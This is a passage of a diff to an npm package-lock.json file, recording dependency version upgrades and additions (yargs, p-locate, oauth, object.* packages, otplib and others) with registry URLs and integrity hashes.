+- "resolved": "https://registry.npmjs.org/flat/-/flat-4.1.1.tgz",
+- "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==",
+- "dev": true,
+- "requires": {
+- "is-buffer": "~2.0.3"
+- }
+- },
+- "glob": {
+- "version": "7.1.3",
+- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz",
+- "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==",
+- "dev": true,
+- "requires": {
+- "fs.realpath": "^1.0.0",
+- "inflight": "^1.0.4",
+- "inherits": "2",
+- "minimatch": "^3.0.4",
+- "once": "^1.3.0",
+- "path-is-absolute": "^1.0.0"
+- }
+- },
+- "has-flag": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+- "dev": true
+- },
+- "is-buffer": {
+- "version": "2.0.5",
+- "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
+- "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==",
+- "dev": true
+- },
+- "is-fullwidth-code-point": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
+- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
+- "dev": true
+- },
+- "js-yaml": {
+- "version": "3.13.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
+- "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
+- "dev": true,
+- "requires": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- }
+- },
+- "locate-path": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+- "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+- "dev": true,
+- "requires": {
+- "p-locate": "^3.0.0",
+- "path-exists": "^3.0.0"
+- }
+- },
+- "log-symbols": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz",
+- "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==",
+- "dev": true,
+- "requires": {
+- "chalk": "^2.0.1"
+- }
+- },
+- "minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
+- "dev": true
+- },
+- "mkdirp": {
+- "version": "0.5.4",
+- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.4.tgz",
+- "integrity": "sha512-iG9AK/dJLtJ0XNgTuDbSyNS3zECqDlAhnQW4CsNxBG3LQJBbHmRX1egw39DmtOdCAqY+dKXV+sgPgilNWUKMVw==",
+- "dev": true,
+- "requires": {
+- "minimist": "^1.2.5"
+- }
+- },
+- "mocha": {
+- "version": "6.2.3",
+- "resolved": "https://registry.npmjs.org/mocha/-/mocha-6.2.3.tgz",
+- "integrity": "sha512-0R/3FvjIGH3eEuG17ccFPk117XL2rWxatr81a57D+r/x2uTYZRbdZ4oVidEUMh2W2TJDa7MdAb12Lm2/qrKajg==",
+- "dev": true,
+- "requires": {
+- "ansi-colors": "3.2.3",
+- "browser-stdout": "1.3.1",
+- "debug": "3.2.6",
+- "diff": "3.5.0",
+- "escape-string-regexp": "1.0.5",
+- "find-up": "3.0.0",
+- "glob": "7.1.3",
+- "growl": "1.10.5",
+- "he": "1.2.0",
+- "js-yaml": "3.13.1",
+- "log-symbols": "2.2.0",
+- "minimatch": "3.0.4",
+- "mkdirp": "0.5.4",
+- "ms": "2.1.1",
+- "node-environment-flags": "1.0.5",
+- "object.assign": "4.1.0",
+- "strip-json-comments": "2.0.1",
+- "supports-color": "6.0.0",
+- "which": "1.3.1",
+- "wide-align": "1.1.3",
+- "yargs": "13.3.2",
+- "yargs-parser": "13.1.2",
+- "yargs-unparser": "1.6.0"
+- }
+- },
+- "ms": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==",
+- "dev": true
+- },
+- "object.assign": {
+ "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz",
+- "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==",
++ "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
++ "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+ "dev": true,
+ "requires": {
+- "define-properties": "^1.1.2",
+- "function-bind": "^1.1.1",
+- "has-symbols": "^1.0.0",
+- "object-keys": "^1.0.11"
++ "locate-path": "^5.0.0",
++ "path-exists": "^4.0.0"
+ }
+ },
+- "p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
++ "locate-path": {
++ "version": "5.0.0",
++ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
++ "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+ "dev": true,
+ "requires": {
+- "p-try": "^2.0.0"
++ "p-locate": "^4.1.0"
+ }
+ },
+- "p-locate": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+- "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
++ "make-dir": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
++ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "requires": {
+- "p-limit": "^2.0.0"
++ "semver": "^6.0.0"
+ }
+ },
+- "path-exists": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
+- "dev": true
+- },
+- "string-width": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
++ "p-limit": {
++ "version": "2.3.0",
++ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
++ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+ "dev": true,
+ "requires": {
+- "emoji-regex": "^7.0.1",
+- "is-fullwidth-code-point": "^2.0.0",
+- "strip-ansi": "^5.1.0"
++ "p-try": "^2.0.0"
+ }
+ },
+- "strip-ansi": {
+- "version": "5.2.0",
+- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
++ "p-locate": {
++ "version": "4.1.0",
++ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
++ "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+ "dev": true,
+ "requires": {
+- "ansi-regex": "^4.1.0"
++ "p-limit": "^2.2.0"
+ }
+ },
+- "strip-json-comments": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
+- "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=",
+- "dev": true
+- },
+- "supports-color": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.0.0.tgz",
+- "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==",
++ "p-map": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
++ "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
+ "dev": true,
+ "requires": {
+- "has-flag": "^3.0.0"
++ "aggregate-error": "^3.0.0"
+ }
+ },
+- "type-detect": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-1.0.0.tgz",
+- "integrity": "sha1-diIXzAbbJY7EiQihKY6LlRIejqI=",
+- "dev": true
+- },
+- "which": {
+- "version": "1.3.1",
+- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
++ "rimraf": {
++ "version": "3.0.2",
++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
++ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+- "isexe": "^2.0.0"
++ "glob": "^7.1.3"
+ }
+ },
+ "wrap-ansi": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
+- "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
++ "version": "6.2.0",
++ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
++ "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
+ "dev": true,
+ "requires": {
+- "ansi-styles": "^3.2.0",
+- "string-width": "^3.0.0",
+- "strip-ansi": "^5.0.0"
++ "ansi-styles": "^4.0.0",
++ "string-width": "^4.1.0",
++ "strip-ansi": "^6.0.0"
+ }
+ },
+ "y18n": {
+@@ -59481,73 +47590,341 @@
+ "dev": true
+ },
+ "yargs": {
+- "version": "13.3.2",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
+- "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
++ "version": "15.4.1",
++ "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz",
++ "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==",
+ "dev": true,
+ "requires": {
+- "cliui": "^5.0.0",
+- "find-up": "^3.0.0",
++ "cliui": "^6.0.0",
++ "decamelize": "^1.2.0",
++ "find-up": "^4.1.0",
+ "get-caller-file": "^2.0.1",
+ "require-directory": "^2.1.1",
+ "require-main-filename": "^2.0.0",
+ "set-blocking": "^2.0.0",
+- "string-width": "^3.0.0",
++ "string-width": "^4.2.0",
+ "which-module": "^2.0.0",
+ "y18n": "^4.0.0",
+- "yargs-parser": "^13.1.2"
++ "yargs-parser": "^18.1.2"
+ }
+ },
+ "yargs-parser": {
+- "version": "13.1.2",
+- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
+- "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
++ "version": "18.1.3",
++ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz",
++ "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==",
+ "dev": true,
+ "requires": {
+ "camelcase": "^5.0.0",
+ "decamelize": "^1.2.0"
+ }
++ }
++ }
++ },
++ "oauth": {
++ "version": "0.9.15",
++ "resolved": "https://registry.npmjs.org/oauth/-/oauth-0.9.15.tgz",
++ "integrity": "sha1-vR/vr2hslrdUda7VGWQS/2DPucE="
++ },
++ "oauth-sign": {
++ "version": "0.9.0",
++ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
++ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
++ },
++ "oauth2-server": {
++ "version": "3.1.1",
++ "resolved": "https://registry.npmjs.org/oauth2-server/-/oauth2-server-3.1.1.tgz",
++ "integrity": "sha512-4dv+fE9hrK+xTaCygOLh/kQeFzbFr7UqSyHvBDbrQq8Hg52sAkV2vTsyH3Z42hoeaKpbhM7udhL8Y4GYbl6TGQ==",
++ "requires": {
++ "basic-auth": "2.0.1",
++ "bluebird": "3.7.2",
++ "lodash": "4.17.19",
++ "promisify-any": "2.0.1",
++ "statuses": "1.5.0",
++ "type-is": "1.6.18"
++ },
++ "dependencies": {
++ "lodash": {
++ "version": "4.17.19",
++ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz",
++ "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ=="
++ }
++ }
++ },
++ "object-assign": {
++ "version": "4.1.1",
++ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
++ "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
++ },
++ "object-get": {
++ "version": "2.1.1",
++ "resolved": "https://registry.npmjs.org/object-get/-/object-get-2.1.1.tgz",
++ "integrity": "sha512-7n4IpLMzGGcLEMiQKsNR7vCe+N5E9LORFrtNUVy4sO3dj9a3HedZCxEL2T7QuLhcHN1NBuBsMOKaOsAYI9IIvg==",
++ "dev": true
++ },
++ "object-hash": {
++ "version": "2.2.0",
++ "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.2.0.tgz",
++ "integrity": "sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw=="
++ },
++ "object-inspect": {
++ "version": "1.12.0",
++ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.0.tgz",
++ "integrity": "sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g=="
++ },
++ "object-is": {
++ "version": "1.1.5",
++ "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz",
++ "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==",
++ "devOptional": true,
++ "requires": {
++ "call-bind": "^1.0.2",
++ "define-properties": "^1.1.3"
++ }
++ },
++ "object-keys": {
++ "version": "1.1.1",
++ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
++ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="
++ },
++ "object-to-spawn-args": {
++ "version": "2.0.1",
++ "resolved": "https://registry.npmjs.org/object-to-spawn-args/-/object-to-spawn-args-2.0.1.tgz",
++ "integrity": "sha512-6FuKFQ39cOID+BMZ3QaphcC8Y4cw6LXBLyIgPU+OhIYwviJamPAn+4mITapnSBQrejB+NNp+FMskhD8Cq+Ys3w==",
++ "dev": true
++ },
++ "object.assign": {
++ "version": "4.1.2",
++ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
++ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
++ "requires": {
++ "call-bind": "^1.0.0",
++ "define-properties": "^1.1.3",
++ "has-symbols": "^1.0.1",
++ "object-keys": "^1.1.1"
++ }
++ },
++ "object.entries": {
++ "version": "1.1.5",
++ "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz",
++ "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==",
++ "dev": true,
++ "requires": {
++ "call-bind": "^1.0.2",
++ "define-properties": "^1.1.3",
++ "es-abstract": "^1.19.1"
++ }
++ },
++ "object.fromentries": {
++ "version": "2.0.5",
++ "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz",
++ "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==",
++ "dev": true,
++ "requires": {
++ "call-bind": "^1.0.2",
++ "define-properties": "^1.1.3",
++ "es-abstract": "^1.19.1"
++ }
++ },
++ "object.getownpropertydescriptors": {
++ "version": "2.1.3",
++ "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.3.tgz",
++ "integrity": "sha512-VdDoCwvJI4QdC6ndjpqFmoL3/+HxffFBbcJzKi5hwLLqqx3mdbedRpfZDdK0SrOSauj8X4GzBvnDZl4vTN7dOw==",
++ "requires": {
++ "call-bind": "^1.0.2",
++ "define-properties": "^1.1.3",
++ "es-abstract": "^1.19.1"
++ }
++ },
++ "object.hasown": {
++ "version": "1.1.0",
++ "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.0.tgz",
++ "integrity": "sha512-MhjYRfj3GBlhSkDHo6QmvgjRLXQ2zndabdf3nX0yTyZK9rPfxb6uRpAac8HXNLy1GpqWtZ81Qh4v3uOls2sRAg==",
++ "dev": true,
++ "requires": {
++ "define-properties": "^1.1.3",
++ "es-abstract": "^1.19.1"
++ }
++ },
++ "object.pick": {
++ "version": "1.3.0",
++ "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
++ "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=",
++ "dev": true,
++ "requires": {
++ "isobject": "^3.0.1"
++ }
++ },
++ "object.values": {
++ "version": "1.1.5",
++ "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz",
++ "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==",
++ "dev": true,
++ "requires": {
++ "call-bind": "^1.0.2",
++ "define-properties": "^1.1.3",
++ "es-abstract": "^1.19.1"
++ }
++ },
++ "obuf": {
++ "version": "1.1.2",
++ "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
++ "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==",
++ "devOptional": true
++ },
++ "on-finished": {
++ "version": "2.3.0",
++ "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz",
++ "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=",
++ "requires": {
++ "ee-first": "1.1.1"
++ }
++ },
++ "on-headers": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
++ "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA=="
++ },
++ "once": {
++ "version": "1.4.0",
++ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
++ "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
++ "requires": {
++ "wrappy": "1"
++ }
++ },
++ "onetime": {
++ "version": "5.1.2",
++ "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
++ "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
++ "requires": {
++ "mimic-fn": "^2.1.0"
++ }
++ },
++ "open": {
++ "version": "8.4.0",
++ "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz",
++ "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==",
++ "devOptional": true,
++ "requires": {
++ "define-lazy-prop": "^2.0.0",
++ "is-docker": "^2.1.1",
++ "is-wsl": "^2.2.0"
++ }
++ },
++ "optional-require": {
++ "version": "1.1.8",
++ "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.1.8.tgz",
++ "integrity": "sha512-jq83qaUb0wNg9Krv1c5OQ+58EK+vHde6aBPzLvPPqJm89UQWsvSuFy9X/OSNJnFeSOKo7btE0n8Nl2+nE+z5nA==",
++ "requires": {
++ "require-at": "^1.0.6"
++ }
++ },
++ "optionator": {
++ "version": "0.8.3",
++ "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
++ "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
++ "dev": true,
++ "requires": {
++ "deep-is": "~0.1.3",
++ "fast-levenshtein": "~2.0.6",
++ "levn": "~0.3.0",
++ "prelude-ls": "~1.1.2",
++ "type-check": "~0.3.2",
++ "word-wrap": "~1.2.3"
++ },
++ "dependencies": {
++ "levn": {
++ "version": "0.3.0",
++ "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
++ "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=",
++ "dev": true,
++ "requires": {
++ "prelude-ls": "~1.1.2",
++ "type-check": "~0.3.2"
++ }
+ },
+- "yargs-unparser": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-1.6.0.tgz",
+- "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==",
++ "prelude-ls": {
++ "version": "1.1.2",
++ "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
++ "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=",
++ "dev": true
++ },
++ "type-check": {
++ "version": "0.3.2",
++ "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
++ "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=",
+ "dev": true,
+ "requires": {
+- "flat": "^4.1.0",
+- "lodash": "^4.17.15",
+- "yargs": "^13.3.0"
++ "prelude-ls": "~1.1.2"
+ }
+ }
+ }
+ },
+- "p-any": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/p-any/-/p-any-3.0.0.tgz",
+- "integrity": "sha512-5rqbqfsRWNb0sukt0awwgJMlaep+8jV45S15SKKB34z4UuzjcofIfnriCBhWjZP2jbVtjt9yRl7buB6RlKsu9w==",
++ "options": {
++ "version": "0.0.6",
++ "resolved": "https://registry.npmjs.org/options/-/options-0.0.6.tgz",
++ "integrity": "sha1-7CLTEoBrtT5zF3Pnza788cZDEo8="
++ },
++ "ordered-read-streams": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/ordered-read-streams/-/ordered-read-streams-1.0.1.tgz",
++ "integrity": "sha1-d8DLN8QVJdZBZtmQ/61+xqDhNj4=",
++ "dev": true,
+ "requires": {
+- "p-cancelable": "^2.0.0",
+- "p-some": "^5.0.0"
++ "readable-stream": "^2.0.1"
+ },
+ "dependencies": {
+- "p-cancelable": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz",
+- "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg=="
++ "isarray": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
++ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
++ "dev": true
++ },
++ "readable-stream": {
++ "version": "2.3.7",
++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
++ "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
++ "dev": true,
++ "requires": {
++ "core-util-is": "~1.0.0",
++ "inherits": "~2.0.3",
++ "isarray": "~1.0.0",
++ "process-nextick-args": "~2.0.0",
++ "safe-buffer": "~5.1.1",
++ "string_decoder": "~1.1.1",
++ "util-deprecate": "~1.0.1"
++ }
++ },
++ "string_decoder": {
++ "version": "1.1.1",
++ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
++ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
++ "dev": true,
++ "requires": {
++ "safe-buffer": "~5.1.0"
++ }
+ }
+ }
+ },
+- "p-cancelable": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz",
+- "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw=="
++ "os-tmpdir": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
++ "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ="
+ },
+- "p-event": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz",
+- "integrity": "sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==",
++ "ospath": {
++ "version": "1.2.2",
++ "resolved": "https://registry.npmjs.org/ospath/-/ospath-1.2.2.tgz",
++ "integrity": "sha1-EnZjl3Sj+O8lcvf+QoDg6kVQwHs=",
++ "dev": true
++ },
++ "otplib": {
++ "version": "12.0.1",
++ "resolved": "https://registry.npmjs.org/otplib/-/otplib-12.0.1.tgz",
